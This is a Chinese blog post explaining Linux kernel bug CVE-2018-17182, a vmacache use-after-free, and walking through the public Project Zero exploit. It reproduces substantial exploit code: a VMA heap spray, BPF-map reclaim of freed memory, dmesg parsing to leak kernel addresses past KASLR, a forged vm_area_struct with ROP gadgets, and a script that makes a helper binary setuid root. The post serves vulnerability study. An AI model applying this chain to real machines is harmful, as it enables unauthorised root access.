CVE-2018-17182 VMA use-after-free 详解

栏目: 服务器 · 发布时间: 6年前

内容简介:内核在3.16版本之后对vma的查找进行了优化:但是这样就存在一个问题,如果在溢出之后,在调用vmacache_valid之前,立即申请一个新线程。这个时候之前的单线程的current->vmacache_seqnum仍然为0xffffffff,并没有更新为0。因为线程虽然没一个线程都有一个单独的task_struct,但是是共享同一个mm_struct的,这个时候在另一个新创建的线程之中将mm_struct的seqnum刷新为0xffffffff,在先前的但线程中就可以利用其vmacache数组里面已经

CVE-2018-17182 VMA use-after-free 详解

漏洞分析

内核在3.16版本之后对vma的查找进行了优化: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=615d6e8756c87149f2d4c1b93d471bca002bd849

新的vma缓存机制

在task_struct中加入了一个vmacache数组和一个32位的vmacache_seqnum值。在mm_struct结构中加入了一个32位vmacache_seqnum值,并且在此基础上定义了一系列操作函数

CVE-2018-17182 VMA use-after-free 详解 CVE-2018-17182 VMA use-after-free 详解

vmacache_invalidate函数,用来将mm_struct的vmacache_seqnum加一,使其不等于当前线程的current->vmacache_seqnum。

CVE-2018-17182 VMA use-after-free 详解

vmacache_find

更新了vma_find函数,在这个位置会调用vmacache_find

CVE-2018-17182 VMA use-after-free 详解

vmacache_find

vmacache_find检索当前线程的vmacache缓存数组,如果地址范围在其中某一个vma的地址范围中,直接返回这个vma,不需要再进行红黑树检索

CVE-2018-17182 VMA use-after-free 详解

vmacache_find还会调用vmacache_valid,在其中会检查current->vmacache_seqnum是否等于current->mm->vmacache_seqnum,如果之前有过调用vmacache_invalidate,在这里会直接去调用vmacache_flush函数,刷新task_struct的vmacache链表之后会返回null。

CVE-2018-17182 VMA use-after-free 详解
CVE-2018-17182 VMA use-after-free 详解

vmacache_find函数在返回null后,vma_find会再去搜索红黑树找到合适的vma。找到vma之后,调用vmacache_update

CVE-2018-17182 VMA use-after-free 详解

vmacache_update会将找到的vma加入当前线程的vmacache缓存数组中

CVE-2018-17182 VMA use-after-free 详解

漏洞具体位置

但是这个32位的值是可以被溢出的,于是在vmacache_invalidate中会有溢出的检查,如果回到0,就会刷新vmacache缓存数组。

本来这套机制是没有问题的,但是溢出后每次刷新线程的vmacache数组都需要遍历所有线程,太耗费时间

CVE-2018-17182 VMA use-after-free 详解

于是又发布了一次新的更新,如果是单线程的话不用对其刷新,直接返回。

CVE-2018-17182 VMA use-after-free 详解

但是这样就存在一个问题,如果在溢出之后,在调用vmacache_valid之前,立即申请一个新线程。这个时候之前的单线程的current->vmacache_seqnum仍然为0xffffffff,并没有更新为0。因为线程虽然没一个线程都有一个单独的task_struct,但是是共享同一个mm_struct的,这个时候在另一个新创建的线程之中将mm_struct的seqnum刷新为0xffffffff,在先前的但线程中就可以利用其vmacache数组里面已经释放了的vma,实现use after free。

我们再来看看mmap和munmap函数是如何改变seqnum的值。

CVE-2018-17182 VMA use-after-free 详解 CVE-2018-17182 VMA use-after-free 详解

也就是说,调用munmap去解除vma映射的时候,会调用vmacache_invalidate将相应的mm_struct的seqnum增加1。并且最后会调用

kmem_cache_free(vm_area_cachep, vma)将对应的vm_area_struct free掉使其回到slab分配器的free list。

CVE-2018-17182 VMA use-after-free 详解

CVE-2018-17182 VMA use-after-free 详解

CVE-2018-17182 VMA use-after-free 详解

并且再mummap开始的时候会调用find_vma,这会更新vmacache或者是刷新它。

CVE-2018-17182 VMA use-after-free 详解

再来看mmap函数:在其中会调用mmap_region,然后调用

CVE-2018-17182 VMA use-after-free 详解

其中会调用vm_area_alloc,在其中调用kmem_cache_zalloc()。这个函数主要用于向内核的slab分配器分配专门大小的object。

漏洞利用

现在我们结合着漏洞发现者在github上贴出的具体的漏洞利用代码去分析一下具体的利用过程。

漏洞利用代码 https://github.com/jas502n/CVE-2018-17182

我们首先将作者的代码定义的每个函数具体功能进行分析,之后结合漏洞进行总体的串联

漏洞发现者的利用代码实现了一套ioctl系统来辅助漏洞的利用,其中关键的cmd是DMESG_DUMP用来调用vmacache_debug_dump()实现dump当前mm结构的信息,SEQUENCE_BUMP,用来更新当前线程mm_struct的seqnum。

case DMESG_DUMP: {
  vmacache_debug_dump();
  return 0;
} break;
case SEQUENCE_BUMP: {
  current->mm->vmacache_seqnum += arg;
  return 0;
} break;`

vmacache_debug_dump():

void vmacache_debug_dump(void)
{
 struct mm_struct *mm = current->mm;
 struct task_struct *g, *p;
 int i;

 pr_warn("entering     vmacache_debug_dump(0x%lx)n", (unsigned long)mm);
 pr_warn("  mm sequence: 0x%xn", mm->vmacache_seqnum);
 rcu_read_lock();
 for_each_process_thread(g, p) {
   if (mm == p->mm) {
     pr_warn("  task 0x%lx at 0x%x%sn", (unsigned long)p,
   p->vmacache.seqnum,
   (current == p)?" (current)":"");
 pr_warn("    cache dump:n");
 for (i=0; i<VMACACHE_SIZE; i++) {
   unsigned long vm_start, vm_end, vm_mm;
   int err = 0;

   pr_warn("      0x%lxn",
     (unsigned long)p->vmacache.vmas[i]);
   err |= probe_kernel_read(&vm_start,
     &p->vmacache.vmas[i]->vm_start,
     sizeof(unsigned long));
   err |= probe_kernel_read(&vm_end,
     &p->vmacache.vmas[i]->vm_end,
     sizeof(unsigned long));
   err |= probe_kernel_read(&vm_mm,
     &p->vmacache.vmas[i]->vm_mm,
     sizeof(unsigned long));
   if (err)
     continue;
   pr_warn("        start=0x%lx end=0x%lx mm=0x%lxn",
     vm_start, vm_end, vm_mm);
     }
   }
 }

再看puppet.c

首先我们有一个全局变量sequence_mirror,用于标记mm_struct的seqnum的值

static void sequence_double_inc(void) {
    mmap(FAST_WRAP_AREA + PAGE_SIZE, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
    sequence_mirror += 2;
}
static void sequence_inc(void) {
    mmap(FAST_WRAP_AREA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
    sequence_mirror += 1;
}

这两个函数分别用于将mm_struct->vmacache_seqnum的值分别增加2和1。具体的原理是 首先在main函数中创建一个三个页的匿名映射。之后通过带有MAP_FIXED的mmap去申请第一页或者中间页的映射。如果是中间页,则会munmap开头和结尾两页,造成seqnum的两次递增。之后再进行合并。同理,开头一页的话则会造成一次递增。

static void sequence_target(long target) {
    while (sequence_mirror + 2 <= target)
        sequence_double_inc();
    if (sequence_mirror + 1 <= target)
        sequence_inc();
}

这个函数用于将sequence_mirror递增到指定值。

再来说说利用代码里面的进程之间通信的机制:

int control_event_fd = eventfd(0, EFD_SEMAPHORE);
if (control_event_fd == -1) err(1, "eventfd");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, control_fd_pair))
    err(1, "socketpair");
pid_t child = fork();
if (child == -1) err(1, "fork");
if (child == 0) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    close(kmsg_fd);
    close(control_fd_pair[0]);
    if (dup2(control_fd_pair[1], 0) != 0) err(1, "dup2");
    close(control_fd_pair[1]);
    if (dup2(control_event_fd, 1) != 1) err(1, "dup2");
    execl("./puppet", "puppet", NULL);
    err(1, "execute puppet");
}
close(control_fd_pair[1]);

int bpf_map = recvfd(control_fd_pair[0]);

分别创建了eventfd和socketpair。并切将其重新定向为0和1。前者用于将子进程阻塞,在主进程中实现了将fake vma伪造完后发送信号让子进程继续去触发缺页异常,从而实现对控制流控制。后者定义了双向的套接字,用于将我们申请的bpf_map传回。bpf_map会在后文进行分析。

现在我们具体分析漏洞利用流程

在main函数中,我们在实现一系列初始化之后创建子进程,并在其中

execl("./puppet", "puppet", NULL);

在puppet中,我们首先申请一个三页的mmap匿名映射,用于增加mm—>vmacache_seqnum。

之后在不创建线程的前提下先将mm的seqnum更新为0x100000000L – VMA_SPAM_COUNT/2

sequence_cheat_bump(0xffff0000L);
sequence_target(0x100000000L - VMA_SPAM_COUNT/2);

之后我们申请5000个mmap映射,根据之前的分析,在slab分配器中也分配了5000个vm_area_struct。

for (unsigned long i=0; i<VMA_SPAM_COUNT; i++) {
    mmap(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON, -1, 0);
}

紧接着我们mummap VMA_SPAM_COUNT/2个映射。释放了5000个vm_area_struct到slab的freelist上。这时,mm->vmacache_seqnum已经被溢出变成了0。而且current->vmacache缓存数组保存着我们最后一次mummap所释放的vma结构。由于是但线程,所以并没有flush vmacache数组给了我们use after free的条件。

for (unsigned long i=0; i<VMA_SPAM_COUNT/2; i++) {
    munmap_noadjacent(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE);
}

之后,我们在没有调用任何vma_find的情况下,马上申请新的线程,在新线程中:

我们首先munmap掉5000个映射,也就是释放了5000个vma struct,这样,我们会将整个的vma slab全部变成free,从而将这个slab 释放回伙伴系统。

for (unsigned long i=VMA_SPAM_COUNT/2; i<VMA_SPAM_COUNT; i++) {
    munmap_noadjacent(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE);
}

之后们通过bpf map,将包含着我们主线程vmacache缓存数组中没有flush的vma结构的一整页全部申请出来,这样就可以通过bpf map去修改还没有flush的vma结构。之后我们触发一个缺页异常,回在主线程中调用我们的这个vma结构中的异常处理程序,从而实现执行流程的劫持。

struct bpf_map_create_args bpf_arg = {
    .map_type = 2,
    .key_size = 4,
    .value_size = 0x1000,
    .max_entries = 1024
};
int bpf_map = syscall(321, 0, (unsigned long)&bpf_arg, sizeof(bpf_arg), 0, 0, 0);

sendfd(0, bpf_map);

再来看bpf的特性:bpf会将分配的内存清空。这个特性正好帮助我们触发warn_on_once,以此来将信息dump到dmesg中,方便我们读取。

bpf具体的用法:

调用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请创建一个map,在attr结构体中指定map的类型、大小、最大容量等属性。

之后通过bpf函数带BPF_MAP_UPDATE_ELEM参数去更新内存的内容。

如何绕过kaslr?

如果写入eventfd将会触发usercopy,使R8仍然包含指向eventfd_fops结构的指针

syscall(1, sync_fd, 0x7fffffffd000, 8, 0, 0, 0);

并且我们通过vmacache_find()去搜索0x7fffffffd000是否在我们的vmacache缓存中。

我们来看4.18的vmacache_find函数

CVE-2018-17182 VMA use-after-free 详解

首先查看vma是否为null,因为我门之前的一系列工作,vma非空。之后warn_on_once,因为我们的bpfmap的申请已经把整页清零,所以这里一定会触发WARN_ON_ONCE(),仅会在第一次触发时打印调试信息,并且继续执行。因此这里的vma仅仅会返回null,并且回到红黑树查找,并不会将系统崩溃。如此,我们可以获得dmesg的各种调试信息。

vma的地址在rax中,mm_struct的地址位于rdi中,同时还有r8中泄漏的eventfd_fops用来绕过kaslr。

while (1) {
    char *ptr;
    int res = read(kmsg_fd, buf, sizeof(buf)-1);
    if (res <= 0) err(1, "unexpected kmsg end");
    buf[res] = '';
    if (state == 0 && strstr(buf, "WARNING: ") && strstr(buf, " vmacache_find+")) {
        state = 1;
        printf("got WARNINGn");
    }
    if (state == 1 && (ptr = strstr(buf, "RSP: 0018:"))) {
        rsp = strtoul(ptr+10, NULL, 16);
        printf("got RSP line: 0x%lxn", rsp);
    }
    if (state == 1 && (ptr = strstr(buf, "RAX: "))) {
        vma_kaddr = strtoul(ptr+5, NULL, 16);
        printf("got RAX line: 0x%lxn", vma_kaddr);
    }
    if (state == 1 && (ptr = strstr(buf, "RDI: "))) {
        mm = strtoul(ptr+5, NULL, 16);
        printf("got RDI line: 0x%lxn", mm);
    }
    if (state == 1 && strstr(buf, "RIP: 0010:copy_user_generic_unrolled")) {
        state = 2;
        printf("reached WARNING part 2n");
    }
    if (state == 2 && (ptr = strstr(buf, "R08: "))) {
        eventfd_fops = strtoul(ptr+5, NULL, 16);
        printf("got R8 line: 0x%lxn", eventfd_fops);
        state = 3;
    }
    if (state > 0 && strstr(buf, "---[ end trace"))
        break;
}

rop chain

利用我们之前通过dmesg泄漏的地址,最终我们需要伪造一个vma结构,其中的几个关键点是:vm_start和vm_end,vm_start必须设置0x7fffffffd000或者是随便一块没有被映射的区域,这样我们在解应用这块区域去触发页错误的时候,我们会找到我们伪造的vma。

第二个关键点是vm_ops,我们将会在子进程中调用eventfd来阻塞,直到我们在将fake vma写入到我们的bpf之后,在阻塞完毕之后,主进程再次阻塞。这个时候我们的子进程解引用一个没有建立页表映射的内存位置,触发缺页异常。因为我们之前已经伪造了vm_start,这个时候我们会触发 __do_fault函数,在其中调用我们伪造的vma的vm_ops的falut函数。

我们仔细来看伪造的vm_area_struct和payload。

char kernel_cmd[8] = "/tmp/%1";
struct vm_area_struct fake_vma = {
    .vm_start = 0x7fffffffd000,
    .vm_end = 0x7fffffffe000,
    .vm_rb = {
        .__rb_parent_color =
            (eventfd_fops-0xd92ce0), //run_cmd: 0xffffffff810b09a0
        .rb_right = vma_kaddr
            + offsetof(struct vm_area_struct, vm_rb.rb_left)
        /*rb_left reserved for kernel_cmd*/
    },
    .vm_mm = mm,
    .vm_flags = VM_WRITE|VM_SHARED,
    .vm_ops = vma_kaddr
        + offsetof(struct vm_area_struct, vm_private_data)
        - offsetof(struct vm_operations_struct, fault),
    .vm_private_data = eventfd_fops-0xd8da5f,
    .shared = {
        .rb_subtree_last = vma_kaddr
            + offsetof(struct vm_area_struct, shared.rb.__rb_parent_color)
            - 0x88,
        .rb = {
            .__rb_parent_color = eventfd_fops-0xd9ebd6
        }
    }
};

vm_ops的位置是

.vm_ops = vma_kaddr
        + offsetof(struct vm_area_struct, vm_private_data)
        - offsetof(struct vm_operations_struct, fault),

vma_kaddr的值就是我们通过dmesg获得的已经失效的vma缓存的地址,也就是我们将要通过bpf伪造的vma,这样的话我们调用vm->vm_ops->fault就是等于调用了 vma_kaddr + offsetof(struct vm_area_struct, vm_private_data),而这个值在我们伪造的vma中是vm_private_data,我们已经将其伪造成了内核rop:

ffffffff810b5c21: 49 8b 45 70           mov rax,QWORD PTR [r13+0x70]
ffffffff810b5c25: 48 8b 80 88 00 00 00  mov rax,QWORD PTR [rax+0x88]
ffffffff810b5c2c: 48 85 c0              test rax,rax
ffffffff810b5c2f: 74 08                 je ffffffff810b5c39
ffffffff810b5c31: 4c 89 ef              mov rdi,r13
ffffffff810b5c34: e8 c7 d3 b4 00        call ffffffff81c03000 <__x86_indirect_thunk_rax>

<__x86_indirect_thunk_rax>就是等于是 call rax,而rax的值是r13+0x88,r13的值就是我们伪造的vma的地址。也就是call vma struct+0x88的位置,

在这个位置是

.rb = {
            .__rb_parent_color = eventfd_fops-0xd9ebd6
        }

我们放上来另一个内核rop

ffffffff810a4aaa: 48 89 fb              mov rbx,rdi
ffffffff810a4aad: 48 8b 43 20           mov rax,QWORD PTR [rbx+0x20]
ffffffff810a4ab1: 48 8b 7f 28           mov rdi,QWORD PTR [rdi+0x28]
ffffffff810a4ab5: e8 46 e5 b5 00        call  ffffffff81c03000<__x86_indirect_thunk_rax>

这里我们将call vma+0x20,参数是vma+0x28,我们已经在结构中伪造了将vma+0x20是run_cmd,vma+0x28也就是vm_rb.rb_left的值是”/tmp/%1”

而这里面我们早就写入了

char *suid_tmpl = "#!/bin/shn"
              "chown root:root ./suidhelpern"
              "chmod 04755 ./suidhelpern"
              "while true; do sleep 1337; donen";

这样直接给suidhelper以root权限。

之后我们伪造一个fake page,offset的值是

if (offset + sizeof(fake_vma) <= 0x1000) {
    memcpy(fake_vma_page + offset, &fake_vma, sizeof(fake_vma));
} else {
    size_t chunk_len = 0x1000 - offset;
    memcpy(fake_vma_page + offset, &fake_vma, chunk_len);
    memcpy(fake_vma_page, (char*)&fake_vma + chunk_len, sizeof(fake_vma) - chunk_len);
}

offset的值我们通过

long offset = (vma_kaddr - 0x90/*compensate for BPF map header*/) & 0xfff;

得倒,因为我们要的是在这个页中的偏移位置,所以需要 &0xfff就是在这个页的偏移量。但是还需要减去0x90 bpf map header,因为bpf update的时候会自动加上偏移量。

这样我们需要的东西已经全部准备好,直接通过

bpf_(BPF_MAP_UPDATE_ELEM, &update_attr)

将伪造好的页写入到内核,即可将我们在vmacache中的vma覆盖掉。之后通过触发缺页异常去执行vm_ops->的fault,从而实现整个rop chain 的利用。之后我们的主进程虽然会崩溃掉,但是我们已经以root权限打开了新的可执行文件sulidhelper,在其中弹出一个shell,实现了内核态的提权。

参考链接

https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug-in-linux.html


以上所述就是小编给大家介绍的《CVE-2018-17182 VMA use-after-free 详解》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

分布式算法导论

分布式算法导论

泰尔 / 霍红卫 / 机械工业出版社 / 2004年09月 / 39.0

分布式算法20多年来一直是倍受关注的主流方向。本书第二版不仅给出了算法的最新进展,还深入探讨了与之相关的理论知识。这本教材适合本科高年级和研究生使用,同时,本书所覆盖的广度和深度也十分适合从事实际工作的工程师和研究人员参考。书中重点讨论了点对点消息传递模型上的算法,也包括计算机通信网络的实现算法。其他重点讨论的内容包括分布式应用的控制算法(如波算法、广播算法、选举算法、终止检测算法、匿名网络的随机......一起来看看 《分布式算法导论》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器